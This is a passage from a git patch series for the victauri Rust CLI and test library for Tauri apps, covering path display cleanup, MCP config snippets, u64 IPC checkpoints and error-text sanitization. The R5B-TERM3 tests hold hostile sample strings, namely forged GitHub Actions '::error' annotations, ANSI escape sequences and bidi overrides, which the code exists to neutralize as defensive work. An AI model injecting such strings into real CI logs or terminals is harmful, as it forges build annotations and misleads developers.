.github/workflows/victauri.yml already exists"); } else { std::fs::create_dir_all(&workflows_dir) - .with_context(|| format!("failed to create {}", workflows_dir.display()))?; + .with_context(|| format!("failed to create {}", display_path(&workflows_dir)))?; // The Rust crate's directory relative to the repo root (`src-tauri` for the // standard create-tauri-app layout, `.` when Cargo.toml is at the root). let app_dir = cargo_toml_path @@ -722,11 +723,11 @@ async fn cmd_check(junit_path: Option<&Path>, target: &AppTarget) -> Result<()> let junit = report.to_junit("victauri-check", duration); if let Some(parent) = path.parent() { std::fs::create_dir_all(parent) - .with_context(|| format!("failed to create directory {}", parent.display()))?; + .with_context(|| format!("failed to create directory {}", display_path(parent)))?; } victauri_test::reporting::write_junit_report(&junit, path) - .with_context(|| format!("failed to write JUnit report to {}", path.display()))?; - eprintln!("JUnit report written to {}", path.display()); + .with_context(|| format!("failed to write JUnit report to {}", display_path(path)))?; + eprintln!("JUnit report written to {}", display_path(path)); } Ok(()) @@ -743,7 +744,7 @@ async fn cmd_doctor(target: &AppTarget) -> Result { // Check 1: Project structure let cwd = std::env::current_dir()?; let (cargo_path, is_tauri) = if let Ok(result) = detect_project(&cwd) { - eprintln!(" [PASS] Cargo.toml found: {}", result.0.display()); + eprintln!(" [PASS] Cargo.toml found: {}", display_path(&result.0)); pass_count += 1; result } else { @@ -762,7 +763,7 @@ async fn cmd_doctor(target: &AppTarget) -> Result { eprintln!(" [FAIL] No Tauri dependency in Cargo.toml"); eprintln!( " Add `tauri` to [dependencies] in {}", - cargo_path.display() + display_path(&cargo_path) ); fail_count += 1; } @@ -839,7 +840,7 @@ async fn cmd_doctor(target: &AppTarget) -> Result { eprintln!(" eval_js / dom_snapshot will time out with no error."); eprintln!( " Run `victauri init`, or add {}:", - caps.join("victauri.json").display() + display_path(&caps.join("victauri.json")) ); eprintln!("{}", indent_block(generate_capability_json())); warn_count += 1; @@ -849,10 +850,10 @@ async fn cmd_doctor(target: &AppTarget) -> Result { } else { // Labels and file names come from the (possibly untrusted) project: print them // with control characters escaped (R4-TERM1). - let file = scan.file.as_deref().map_or_else( - || "the capability file".to_string(), - |p| victauri_test::terminal::single_line(&p.display().to_string()), - ); + let file = scan + .file + .as_deref() + .map_or_else(|| "the capability file".to_string(), display_path); match scan.windows.as_deref() { Some(labels) if !labels.is_empty() => { eprintln!( @@ -877,7 +878,7 @@ async fn cmd_doctor(target: &AppTarget) -> Result { // Check 8: Test files let tests_dir = find_src_tauri(&cwd).map_or_else(|| cwd.join("tests"), |p| p.join("tests")); if tests_dir.join("smoke.rs").exists() || tests_dir.join("integration.rs").exists() { - eprintln!(" [PASS] Test files found in {}", tests_dir.display()); + eprintln!(" [PASS] Test files found in {}", display_path(&tests_dir)); pass_count += 1; } else { eprintln!(" [WARN] No Victauri test files found"); @@ -1019,11 +1020,11 @@ async fn cmd_test( let junit = verify.to_junit("victauri-smoke", report.duration); if let Some(parent) = path.parent() { std::fs::create_dir_all(parent) - .with_context(|| format!("failed to create directory {}", parent.display()))?; + .with_context(|| format!("failed to create directory {}", display_path(parent)))?; } victauri_test::reporting::write_junit_report(&junit, path) - .with_context(|| format!("failed to write JUnit report to {}", path.display()))?; - eprintln!("JUnit report written to {}", path.display()); + .with_context(|| format!("failed to write JUnit report to {}", display_path(path)))?; + eprintln!("JUnit report written to {}", display_path(path)); } if !report.all_passed() { @@ -1116,11 +1117,11 @@ async fn cmd_coverage( let junit = verify_report.to_junit("victauri-coverage", std::time::Duration::from_secs(0)); if let Some(parent) = path.parent() { std::fs::create_dir_all(parent) - .with_context(|| format!("failed to create directory {}", parent.display()))?; + .with_context(|| format!("failed to create directory {}", display_path(parent)))?; } victauri_test::reporting::write_junit_report(&junit, path) - .with_context(|| format!("failed to write JUnit report to {}", path.display()))?; - eprintln!("JUnit report written to {}", path.display()); + .with_context(|| format!("failed to write JUnit report to {}", display_path(path)))?; + eprintln!("JUnit report written to {}", display_path(path)); } if let Some(t) = threshold { @@ -1210,14 +1211,14 @@ async fn cmd_record( let output = output.as_path(); if let Some(parent) = output.parent() { std::fs::create_dir_all(parent) - .with_context(|| format!("failed to create directory {}", parent.display()))?; + .with_context(|| format!("failed to create directory {}", display_path(parent)))?; } write_regular_file(output, &code)?; eprintln!( " Captured {event_count} events ({interaction_count} interactions, {ipc_count} IPC calls)" ); - eprintln!(" Generated test: {}", output.display()); + eprintln!(" Generated test: {}", display_path(output)); // `--test` selects the test TARGET (the file stem under tests/), not the function; // the function name is the trailing name filter. let target = output.file_stem().map_or_else( @@ -1239,11 +1240,14 @@ async fn cmd_watch(dir: &Path, filter: Option<&str>) -> Result<()> { }; if !watch_dir.exists() { - bail!("watch directory does not exist: {}", watch_dir.display()); + bail!( + "watch directory does not exist: {}", + display_path(&watch_dir) + ); } eprintln!("\x1b[36mVictauri Watch\x1b[0m"); - eprintln!(" Directory: {}", watch_dir.display()); + eprintln!(" Directory: {}", display_path(&watch_dir)); if let Some(f) = filter { eprintln!(" Filter: {f}"); } @@ -1269,7 +1273,7 @@ async fn cmd_watch(dir: &Path, filter: Option<&str>) -> Result<()> { watcher .watch(&watch_dir, RecursiveMode::Recursive) - .with_context(|| format!("failed to watch {}", watch_dir.display()))?; + .with_context(|| format!("failed to watch {}", display_path(&watch_dir)))?; run_tests_with_output(filter, None); @@ -1344,12 +1348,12 @@ fn try_patch_tauri_builder(src_dir: &Path) -> Result { continue; } let content = std::fs::read_to_string(&path) - .with_context(|| format!("failed to read {}", path.display()))?; + .with_context(|| format!("failed to read {}", display_path(&path)))?; if content.contains("victauri_plugin") { eprintln!( " [=] {} already references victauri_plugin", - path.display() + display_path(&path) ); return Ok(true); } @@ -1403,10 +1407,10 @@ fn try_patch_tauri_builder(src_dir: &Path) -> Result { // repo's `src/main.rs` could point at a file outside the project). refuse_symlink(&path)?; std::fs::write(&path, new_content) - .with_context(|| format!("failed to write {}", path.display()))?; + .with_context(|| format!("failed to write {}", display_path(&path)))?; eprintln!( " [+] Patched {} with .plugin(victauri_plugin::init())", - path.display() + display_path(&path) ); return Ok(true); } @@ -1455,12 +1459,30 @@ fn refuse_symlink(path: &Path) -> Result<()> { match std::fs::symlink_metadata(path) { Ok(meta) if meta.file_type().is_symlink() => anyhow::bail!( "refusing to write {}: it is a symbolic link (victauri init never writes through symlinks)", - path.display() + display_path(path) ), _ => Ok(()), } } +/// A path as shown to the user: the Windows verbatim prefix `std::fs::canonicalize` adds +/// (`\\?\C:\…`, `\\?\UNC\server\share\…`) is dropped, dunce-style (R5B-INIT1), and control +/// characters are escaped — a cloned repo's directory names are untrusted (R4-TERM1). +fn display_path(path: &Path) -> String { + let shown = path.display().to_string(); + let plain = if let Some(unc) = shown.strip_prefix(r"\\?\UNC\") { + format!(r"\\{unc}") + } else if let Some(rest) = shown + .strip_prefix(r"\\?\") + .filter(|rest| rest.as_bytes().get(1) == Some(&b':')) + { + rest.to_string() + } else { + shown + }; + victauri_test::terminal::single_line(&plain) +} + /// Refuse to write `path` unless it lies inside the (canonical) project `root` with no /// symlinked component between them (R4-FS1). /// @@ -1474,11 +1496,11 @@ fn ensure_inside_project(root: &Path, path: &Path) -> Result<()> { anyhow::bail!( "refusing to write {}: {why} (victauri init never writes through symlinks or \ outside the project)", - path.display() + display_path(path) ) }; let Ok(relative) = path.strip_prefix(root) else { - return refuse(format!("it is outside the project {}", root.display())); + return refuse(format!("it is outside the project {}", display_path(root))); }; let components: Vec<_> = relative.components().collect(); let mut current = root.to_path_buf(); @@ -1489,10 +1511,10 @@ fn ensure_inside_project(root: &Path, path: &Path) -> Result<()> { current.push(name); match std::fs::symlink_metadata(¤t) { Ok(meta) if meta.file_type().is_symlink() => { - return refuse(format!("{} is a symbolic link", current.display())); + return refuse(format!("{} is a symbolic link", display_path(¤t))); } Ok(meta) if i + 1 < components.len() && !meta.is_dir() => { - return refuse(format!("{} is not a directory", current.display())); + return refuse(format!("{} is not a directory", display_path(¤t))); } Ok(_) => {} // Missing: nothing below it exists yet, so nothing below it can be a link. @@ -1506,11 +1528,11 @@ fn ensure_inside_project(root: &Path, path: &Path) -> Result<()> { } } let canonical = std::fs::canonicalize(&existing) - .with_context(|| format!("failed to resolve {}", existing.display()))?; + .with_context(|| format!("failed to resolve {}", display_path(&existing)))?; if !canonical.starts_with(root) { return refuse(format!( "it resolves outside the project ({})", - canonical.display() + display_path(&canonical) )); } Ok(()) @@ -1522,7 +1544,7 @@ fn ensure_inside_project(root: &Path, path: &Path) -> Result<()> { /// working directory is the user's explicit choice; only its final component is checked. fn checked_record_output(cwd: &Path, output: &Path) -> Result { let cwd = std::fs::canonicalize(cwd) - .with_context(|| format!("failed to resolve {}", cwd.display()))?; + .with_context(|| format!("failed to resolve {}", display_path(cwd)))?; let absolute = if output.is_absolute() { output.to_path_buf() } else { @@ -1539,7 +1561,8 @@ fn checked_record_output(cwd: &Path, output: &Path) -> Result { /// Write `contents` to `path`, replacing a regular file but never following a symlink. fn write_regular_file(path: &Path, contents: &str) -> Result<()> { refuse_symlink(path)?; - std::fs::write(path, contents).with_context(|| format!("failed to write {}", path.display())) + std::fs::write(path, contents) + .with_context(|| format!("failed to write {}", display_path(path))) } /// Create a NEW file with `contents`, never following or clobbering anything already at @@ -1552,9 +1575,9 @@ fn write_new_file(path: &Path, contents: &str) -> Result<()> { .write(true) .create_new(true) .open(path) - .with_context(|| format!("failed to create {}", path.display()))?; + .with_context(|| format!("failed to create {}", display_path(path)))?; std::io::Write::write_all(&mut file, contents.as_bytes()) - .with_context(|| format!("failed to write {}", path.display()))?; + .with_context(|| format!("failed to write {}", display_path(path)))?; Ok(()) } @@ -1562,19 +1585,19 @@ fn write_new_file(path: &Path, contents: &str) -> Result<()> { fn append_to_regular_file(path: &Path, contents: &str) -> Result<()> { refuse_symlink(path)?; let meta = std::fs::symlink_metadata(path) - .with_context(|| format!("failed to stat {}", path.display()))?; + .with_context(|| format!("failed to stat {}", display_path(path)))?; if !meta.is_file() { anyhow::bail!( "refusing to append to {}: not a regular file", - path.display() + display_path(path) ); } let mut file = std::fs::OpenOptions::new() .append(true) .open(path) - .with_context(|| format!("failed to append to {}", path.display()))?; + .with_context(|| format!("failed to append to {}", display_path(path)))?; std::io::Write::write_all(&mut file, contents.as_bytes()) - .with_context(|| format!("failed to write to {}", path.display()))?; + .with_context(|| format!("failed to write to {}", display_path(path)))?; Ok(()) } @@ -1927,8 +1950,8 @@ fn detect_project(root: &Path) -> Result<(PathBuf, bool)> { } else { bail!( "No Cargo.toml found in {} or {}/src-tauri/", - root.display(), - root.display() + display_path(root), + display_path(root) ); }; @@ -2512,6 +2535,17 @@ mod tests { assert!(!patched, "should return false when no tauri::Builder found"); } + #[test] + fn display_path_drops_only_the_verbatim_prefix() { + let shown = |s: &str| display_path(Path::new(s)); + assert_eq!(shown(r"\\?\C:\proj\Cargo.toml"), r"C:\proj\Cargo.toml"); + assert_eq!(shown(r"\\?\UNC\srv\share\proj"), r"\\srv\share\proj"); + // A verbatim path with no drive-letter form stays as is (it has no plain spelling). + assert_eq!(shown(r"\\?\Volume{1234}\proj"), r"\\?\Volume{1234}\proj"); + assert_eq!(shown("src-tauri/Cargo.toml"), "src-tauri/Cargo.toml"); + assert_eq!(shown("a\nb"), r"a\nb"); + } + #[test] fn mcp_json_has_correct_structure() { let content = generate_mcp_json(None); diff --git a/crates/victauri-cli/tests/cli_e2e.rs b/crates/victauri-cli/tests/cli_e2e.rs index 6c98aca4..44b5f414 100644 --- a/crates/victauri-cli/tests/cli_e2e.rs +++ b/crates/victauri-cli/tests/cli_e2e.rs @@ -324,3 +324,38 @@ fn doctor_exits_nonzero_when_a_check_fails() { assert!(err.contains("[FAIL]"), "{err}"); assert_eq!(out.status.code(), Some(1), "a FAIL must exit 1:\n{err}"); } + +fn write_tauri_project(dir: &std::path::Path, tauri_dep: bool) { + std::fs::create_dir_all(dir).unwrap(); + let deps = if tauri_dep { "tauri = \"2\"\n" } else { "" }; + std::fs::write( + dir.join("Cargo.toml"), + format!( + "[package]\nname = \"app\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\n{deps}" + ), + ) + .unwrap(); + std::fs::write( + dir.join("tauri.conf.json"), + json!({"identifier": "com.test.init"}).to_string(), + ) + .unwrap(); +} + +/// R5B-INIT1: `init` canonicalizes the project root, which on Windows yields a `\?\C:\…` +/// verbatim path — and printed it that way. +#[test] +fn init_never_prints_verbatim_windows_paths() { + let iso = IsolatedTemp::new(); + let project = iso.0.path().join("project"); + // No tauri dependency → `init` warns and names the Cargo.toml path. + write_tauri_project(&project, false); + let out = iso + .victauri(&["init", "--path", project.to_str().unwrap()]) + .output() + .unwrap(); + let err = stderr(&out); + assert!(out.status.success(), "{err}"); + assert!(err.contains("Cargo.toml"), "{err}"); + assert!(!err.contains(r"\?\"), "verbatim path printed:\n{err}"); +} From 830eff38159da3fc9ff6305839764e9286429a7b Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:12:53 +1000 Subject: [PATCH 142/167] fix(cli): init's .mcp.json suggestion pins --app like the generated file (R5B-INIT2) When .mcp.json already existed without Victauri, init suggested `"args": ["bridge"]` -- dropping the `--app ` pin the generated file carries, so a hand-merged config could bind the wrong app when several run. The snippet now uses the same args (JSON-encoded, control characters escaped). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/main.rs | 39 ++++++++++++++++++++++++++-- crates/victauri-cli/tests/cli_e2e.rs | 20 ++++++++++++++ 2 files changed, 57 insertions(+), 2 deletions(-) diff --git a/crates/victauri-cli/src/main.rs b/crates/victauri-cli/src/main.rs index d812d796..e868bec9 100644 --- a/crates/victauri-cli/src/main.rs +++ b/crates/victauri-cli/src/main.rs @@ -261,9 +261,10 @@ fn cmd_init(root: &Path) -> Result<()> { eprintln!(" [!] .mcp.json exists but doesn't reference Victauri."); eprintln!(" Add this to your mcpServers (the bridge auto-discovers the port —"); eprintln!(" prefer it over a fixed url so agents never bind the wrong app):\n"); + // The same `--app ` pin the generated file carries (R5B-INIT2). eprintln!( - " \"victauri\": {{ \"command\": \"victauri\", \"args\": [\"bridge\"] }} -" + " {}\n", + mcp_server_entry_snippet(read_app_identifier(root.as_path()).as_deref()) ); } } else { @@ -1450,6 +1451,25 @@ fn generate_mcp_json(app: Option<&str>) -> String { out } +/// The `"victauri": {…}` entry to paste into an existing `.mcp.json` — the same bridge args +/// [`generate_mcp_json`] writes, so a hand-merged config is pinned to the app too (R5B-INIT2). +/// Each value is JSON-encoded (the identifier is untrusted project data) and the line is +/// printed with control characters escaped. +fn mcp_server_entry_snippet(app: Option<&str>) -> String { + let mut args = vec!["bridge"]; + if let Some(id) = app { + args.extend(["--app", id]); + } + let args: Vec = args + .iter() + .map(|a| serde_json::Value::from(*a).to_string()) + .collect(); + victauri_test::terminal::single_line(&format!( + "\"victauri\": {{ \"command\": \"victauri\", \"args\": [{}] }}", + args.join(", ") + )) +} + /// Refuse to operate on `path` if it is a symbolic link. /// /// `victauri init` writes into a project directory that may come from an untrusted clone; a @@ -2546,6 +2566,21 @@ mod tests { assert_eq!(shown("a\nb"), r"a\nb"); } + #[test] + fn mcp_server_entry_snippet_pins_the_app_like_the_generated_file() { + assert_eq!( + mcp_server_entry_snippet(Some("com.x.app")), + r#""victauri": { "command": "victauri", "args": ["bridge", "--app", "com.x.app"] }"# + ); + assert_eq!( + mcp_server_entry_snippet(None), + r#""victauri": { "command": "victauri", "args": ["bridge"] }"# + ); + // Hostile identifier: JSON-escaped, and no raw control characters reach the terminal. + let s = mcp_server_entry_snippet(Some("a\"b\n::error")); + assert!(!s.contains('\n') && s.contains(r#"a\"b"#), "{s}"); + } + #[test] fn mcp_json_has_correct_structure() { let content = generate_mcp_json(None); diff --git a/crates/victauri-cli/tests/cli_e2e.rs b/crates/victauri-cli/tests/cli_e2e.rs index 44b5f414..f4ef844e 100644 --- a/crates/victauri-cli/tests/cli_e2e.rs +++ b/crates/victauri-cli/tests/cli_e2e.rs @@ -359,3 +359,23 @@ fn init_never_prints_verbatim_windows_paths() { assert!(err.contains("Cargo.toml"), "{err}"); assert!(!err.contains(r"\?\"), "verbatim path printed:\n{err}"); } + +/// R5B-INIT2: with an existing `.mcp.json` that lacks Victauri, the suggested snippet must pin +/// the bridge to the app exactly like the generated file does (`--app `). +#[test] +fn init_suggestion_for_an_existing_mcp_json_pins_the_app() { + let iso = IsolatedTemp::new(); + let project = iso.0.path().join("project"); + write_tauri_project(&project, true); + std::fs::write(project.join(".mcp.json"), r#"{"mcpServers":{}}"#).unwrap(); + let out = iso + .victauri(&["init", "--path", project.to_str().unwrap()]) + .output() + .unwrap(); + let err = stderr(&out); + assert!(out.status.success(), "{err}"); + assert!( + err.contains(r#""args": ["bridge", "--app", "com.test.init"]"#), + "the suggestion must pin the app:\n{err}" + ); +} From 2c7ce9b3aab7d5b48b0fed477c2dffbd90cae8d4 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:15:13 +1000 Subject: [PATCH 143/167] fix(victauri-test): IPC checkpoints are u64 epoch milliseconds (R5B-CKPT1) `create_ipc_checkpoint` returned `usize` epoch milliseconds (`checkpoint_ms as usize`), which truncates on 32-bit targets where epoch ms exceed u32::MAX, so `get_ipc_calls_since` compared against a wrapped value. The checkpoint pair is now u64 end to end: `create_ipc_checkpoint` / deprecated `ipc_checkpoint` return `u64`, and `get_ipc_calls_since` / deprecated `ipc_calls_since` take `u64`. Public API change (0.9.0 is already a breaking release). Callers that keep the checkpoint in an inferred binding and pass it straight back (the documented pattern, and 4DA's dogfood test) compile unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-test/src/client.rs | 19 ++++++++----------- crates/victauri-test/tests/client_tests.rs | 6 ++++-- 2 files changed, 12 insertions(+), 13 deletions(-) diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index e0bbb321..7bacafb8 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -1651,7 +1651,7 @@ impl VictauriClient { /// /// Returns errors from [`VictauriClient::call_tool`]. #[deprecated(since = "0.2.0", note = "renamed to get_ipc_calls_since")] - pub async fn ipc_calls_since(&mut self, checkpoint: usize) -> Result, TestError> { + pub async fn ipc_calls_since(&mut self, checkpoint: u64) -> Result, TestError> { // Timestamp filter, NOT positional skip: the server's log tools return a // capped sliding window of the NEWEST entries (default 100), so // `skip(checkpoint_length)` silently yields nothing the moment a busy app @@ -1663,7 +1663,7 @@ impl VictauriClient { .filter(|e| { e.get("timestamp") .and_then(Value::as_u64) - .map_or(checkpoint == 0, |t| t > checkpoint as u64) + .map_or(checkpoint == 0, |t| t > checkpoint) }) .collect()) } @@ -1697,10 +1697,7 @@ impl VictauriClient { /// # Errors /// /// Returns errors from [`VictauriClient::call_tool`]. - pub async fn get_ipc_calls_since( - &mut self, - checkpoint: usize, - ) -> Result, TestError> { + pub async fn get_ipc_calls_since(&mut self, checkpoint: u64) -> Result, TestError> { #[allow(deprecated)] self.ipc_calls_since(checkpoint).await } @@ -1743,14 +1740,14 @@ impl VictauriClient { /// /// Returns errors from [`VictauriClient::call_tool`]. #[deprecated(since = "0.2.0", note = "renamed to create_ipc_checkpoint")] - pub async fn ipc_checkpoint(&mut self) -> Result { + pub async fn ipc_checkpoint(&mut self) -> Result { self.create_ipc_checkpoint().await } /// Snapshot the newest IPC-log timestamp, for use with `ipc_calls_since`. /// - /// Returns the maximum entry `timestamp` (epoch milliseconds) currently - /// visible in the IPC log, or `0` when the log is empty. Pass this value to + /// Returns the maximum entry `timestamp` (epoch milliseconds, a `u64` — epoch ms do not + /// fit a 32-bit `usize`) currently visible in the IPC log, or `0` when the log is empty. Pass this value to /// [`VictauriClient::ipc_calls_since`] to get only the calls that occurred /// after the checkpoint. For non-empty logs this method waits until the /// local clock has advanced past the checkpoint millisecond before it @@ -1763,7 +1760,7 @@ impl VictauriClient { /// # Errors /// /// Returns errors from [`VictauriClient::call_tool`]. - pub async fn create_ipc_checkpoint(&mut self) -> Result { + pub async fn create_ipc_checkpoint(&mut self) -> Result { // The checkpoint is the NEWEST entry timestamp (epoch ms), not the log // length: the log tools serve a capped sliding window, so a length // snapshot breaks (always-empty `calls_since`) once the app has logged @@ -1775,7 +1772,7 @@ impl VictauriClient { .max() .unwrap_or(0); wait_past_ipc_checkpoint_ms(checkpoint_ms).await; - Ok(checkpoint_ms as usize) + Ok(checkpoint_ms) } // ── Typed Response Methods (Phase 4E) ──────────────────────────────────── diff --git a/crates/victauri-test/tests/client_tests.rs b/crates/victauri-test/tests/client_tests.rs index 59d2763a..dfc631c7 100644 --- a/crates/victauri-test/tests/client_tests.rs +++ b/crates/victauri-test/tests/client_tests.rs @@ -1185,8 +1185,10 @@ async fn ipc_checkpoint_waits_past_current_millisecond_boundary() { "content": [{"type": "text", "text": serde_json::to_string(&before).unwrap()}] })); - let cp = client.create_ipc_checkpoint().await.unwrap(); - assert_eq!(cp, boundary as usize); + // R5B-CKPT1: an epoch-millisecond checkpoint is a `u64` — a `usize` truncated it on + // 32-bit targets (epoch ms exceed u32::MAX), silently breaking `get_ipc_calls_since`. + let cp: u64 = client.create_ipc_checkpoint().await.unwrap(); + assert_eq!(cp, boundary); let after_ts = test_epoch_ms(); assert!( From a306673996cc90beb293bde98bacd75f99271385 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:16:33 +1000 Subject: [PATCH 144/167] fix(victauri-test): the 401 hint names the real per-user token locations (R5B-HINT1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A 401 from a tool call said the token is in `/victauri//token` — a path 0.9 no longer writes on Unix (the discovery root is per-user), so the hint sent users to an empty directory. The hint now names the locations discovery actually reads (`$XDG_RUNTIME_DIR/victauri//token`, else `/victauri-//token` on Unix; `%TEMP%\victauri\\token` on Windows) from one constant next to discovery_roots. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-test/src/client.rs | 39 ++++++++++++++++++++++++--- crates/victauri-test/src/discovery.rs | 9 +++++++ 2 files changed, 45 insertions(+), 3 deletions(-) diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index 7bacafb8..1c7ce58c 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -860,10 +860,13 @@ impl VictauriClient { return Ok(parsed); } let hint = if status == reqwest::StatusCode::UNAUTHORIZED { - " — auth token missing or wrong (auth is on by default; the token is in \ - /victauri//token, or set VICTAURI_AUTH_TOKEN)" + format!( + " — auth token missing or wrong (auth is on by default; the app writes it to \ + {}; or set VICTAURI_AUTH_TOKEN)", + crate::discovery::TOKEN_LOCATIONS + ) } else { - "" + String::new() }; return Err(TestError::Connection { host: host.to_string(), @@ -2551,6 +2554,36 @@ pub fn assert_state_matches(verification: &Value) { mod transport_tests { use super::*; + /// R5B-HINT1: the 401 hint named `/victauri//token`, which 0.9 no longer writes + /// on Unix (per-user roots) — pointing a user at an empty directory. + #[tokio::test] + async fn unauthorized_hint_names_the_real_discovery_locations() { + let resp = reqwest::Response::from( + axum::http::Response::builder() + .status(401) + .body("unauthorized") + .unwrap(), + ); + let Err(TestError::Connection { reason, .. }) = + VictauriClient::parse_response(resp, "127.0.0.1", 7373, 1).await + else { + panic!("a 401 must be a connection error"); + }; + assert!( + !reason.contains("/victauri//token"), + "stale location: {reason}" + ); + #[cfg(unix)] + assert!( + reason.contains("$XDG_RUNTIME_DIR/victauri//token") + && reason.contains("victauri-//token"), + "{reason}" + ); + #[cfg(windows)] + assert!(reason.contains(r"%TEMP%\victauri\\token"), "{reason}"); + assert!(reason.contains("VICTAURI_AUTH_TOKEN"), "{reason}"); + } + #[test] fn truncate_chars_never_splits_a_code_point() { // "a" + 2-byte chars: byte 200 falls mid-"é", where `&odd[..200]` panics. diff --git a/crates/victauri-test/src/discovery.rs b/crates/victauri-test/src/discovery.rs index 8fa53e8a..9bde1220 100644 --- a/crates/victauri-test/src/discovery.rs +++ b/crates/victauri-test/src/discovery.rs @@ -33,6 +33,15 @@ fn discovery_roots() -> Vec { ] } +/// Where a running app's auth token lives, for error messages — the same roots +/// [`discovery_roots`] scans, in the same order. +#[cfg(unix)] +pub const TOKEN_LOCATIONS: &str = "$XDG_RUNTIME_DIR/victauri//token (when that \ + directory is private to you), else /victauri-//token"; +/// Where a running app's auth token lives, for error messages. +#[cfg(not(unix))] +pub const TOKEN_LOCATIONS: &str = r"%TEMP%\victauri\\token"; + #[cfg_attr(all(test, not(unix)), allow(dead_code))] fn real_discovery_roots() -> Vec { let legacy = std::env::temp_dir().join("victauri"); From 41c3dabb459f796cf146343fd1d4326de8100dfd Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:17:53 +1000 Subject: [PATCH 145/167] fix(victauri-test): tool/JSON-RPC error text is sanitized when displayed (R5B-TERM3) `TestError::ToolError` and `TestError::Mcp` messages often carry page-derived text (a JS exception message) and were printed raw by their Display impls: an ESC sequence could drive the terminal, and a line of its own starting with `::error ...` (or legacy `##[...]`) became a forged GitHub Actions annotation in a CI log. New `terminal::untrusted_multi_line` keeps legitimate line breaks, escapes control/bidi characters (as `multi_line` does), and escapes the first character of any line that would read as a workflow command; both Display impls use it. The stored message itself is unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-test/src/error.rs | 50 ++++++++++++++++++++++++++-- crates/victauri-test/src/terminal.rs | 37 ++++++++++++++++++++ 2 files changed, 85 insertions(+), 2 deletions(-) diff --git a/crates/victauri-test/src/error.rs b/crates/victauri-test/src/error.rs index 70f5e9ef..d60efce7 100644 --- a/crates/victauri-test/src/error.rs +++ b/crates/victauri-test/src/error.rs @@ -77,9 +77,19 @@ impl std::fmt::Display for TestError { -32603 => "\n Hint: internal error — check the Tauri app's stderr for details", _ => "", }; - write!(f, "MCP error {code}: {message}{hint}") + // The message can carry page-derived text (R5B-TERM3). + write!( + f, + "MCP error {code}: {}{hint}", + crate::terminal::untrusted_multi_line(message) + ) } - Self::ToolError(msg) => write!(f, "tool call failed: {msg}"), + // A tool error is often a page's own exception text (R5B-TERM3). + Self::ToolError(msg) => write!( + f, + "tool call failed: {}", + crate::terminal::untrusted_multi_line(msg) + ), Self::Assertion(msg) => write!(f, "assertion failed: {msg}"), Self::Timeout(msg) => { write!( @@ -122,3 +132,39 @@ impl std::error::Error for TestError { } } } + +#[cfg(test)] +mod tests { + use super::*; + + /// R5B-TERM3: a tool error / JSON-RPC error message can carry page-derived text (a JS + /// exception message). Printed raw, it could drive the terminal (ESC sequences) or forge a + /// GitHub Actions annotation on a line of its own (`::error …`). Legitimate line breaks stay. + #[test] + fn untrusted_error_text_is_neutralized_but_keeps_line_breaks() { + let hostile = "boom at line 1\n::error file=src/main.rs::forged\n ::warning::x\n\ + ##[error]legacy\u{1b}[2J\u{9b}31m\u{202e}rtl"; + for rendered in [ + TestError::ToolError(hostile.to_string()).to_string(), + TestError::Mcp { + code: -32000, + message: hostile.to_string(), + } + .to_string(), + ] { + assert!(rendered.contains("boom at line 1\n"), "{rendered}"); + for line in rendered.lines() { + let t = line.trim_start(); + assert!( + !t.starts_with("::") && !t.starts_with("##["), + "a line became a workflow command: {line:?}\n{rendered}" + ); + } + assert!( + !rendered.chars().any(|c| c.is_control() && c != '\n') + && !rendered.contains('\u{202e}'), + "raw control/bidi characters: {rendered:?}" + ); + } + } +} diff --git a/crates/victauri-test/src/terminal.rs b/crates/victauri-test/src/terminal.rs index 833ed044..622c416c 100644 --- a/crates/victauri-test/src/terminal.rs +++ b/crates/victauri-test/src/terminal.rs @@ -58,10 +58,47 @@ pub fn multi_line(text: &str) -> String { out } +/// For an untrusted multi-line message — a JS exception text, a server's error message: +/// [`multi_line`], and additionally every line that would be read as a CI workflow command +/// (`::error …` / `::warning …` for GitHub Actions, legacy `##[…]`, after any indentation) has +/// its first character escaped, so it prints as text instead of forging an annotation or +/// masking a secret (R5B-TERM3). Legitimate line breaks are kept. +#[must_use] +pub fn untrusted_multi_line(text: &str) -> String { + let safe = multi_line(text); + let mut out = String::with_capacity(safe.len()); + for (i, line) in safe.split('\n').enumerate() { + if i > 0 { + out.push('\n'); + } + let body = line.trim_start(); + if body.starts_with("::") || body.starts_with("##[") { + let indent = &line[..line.len() - body.len()]; + let mut chars = body.chars(); + let first = chars.next().unwrap_or(':'); + out.push_str(indent); + push_escaped(&mut out, first); + out.push_str(chars.as_str()); + } else { + out.push_str(line); + } + } + out +} + #[cfg(test)] mod tests { use super::*; + #[test] + fn untrusted_multi_line_defuses_workflow_command_lines_only() { + assert_eq!( + untrusted_multi_line("ok\n::error::x\n\t ::set-output\n##[group]g\na::b"), + "ok\n\\u{3a}:error::x\n\t \\u{3a}:set-output\n\\u{23}#[group]g\na::b" + ); + assert_eq!(untrusted_multi_line("a\r\nb\u{1b}"), "a\nb\\u{1b}"); + } + #[test] fn single_line_cannot_start_a_forged_ci_annotation() { let hostile = "boom\n::error file=x.rs::forged\r\n::warning::also"; From bd7fd8b44602ae5df39c9f30955a436fb415b18d Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:22:15 +1000 Subject: [PATCH 146/167] fix(victauri-test): the smoke suite never stops a recording it did not start (R5B-SMOKE1) `assert_recording_lifecycle` called `stop_recording()` first "to clean up", which ended -- and discarded -- any recording already in progress, e.g. a 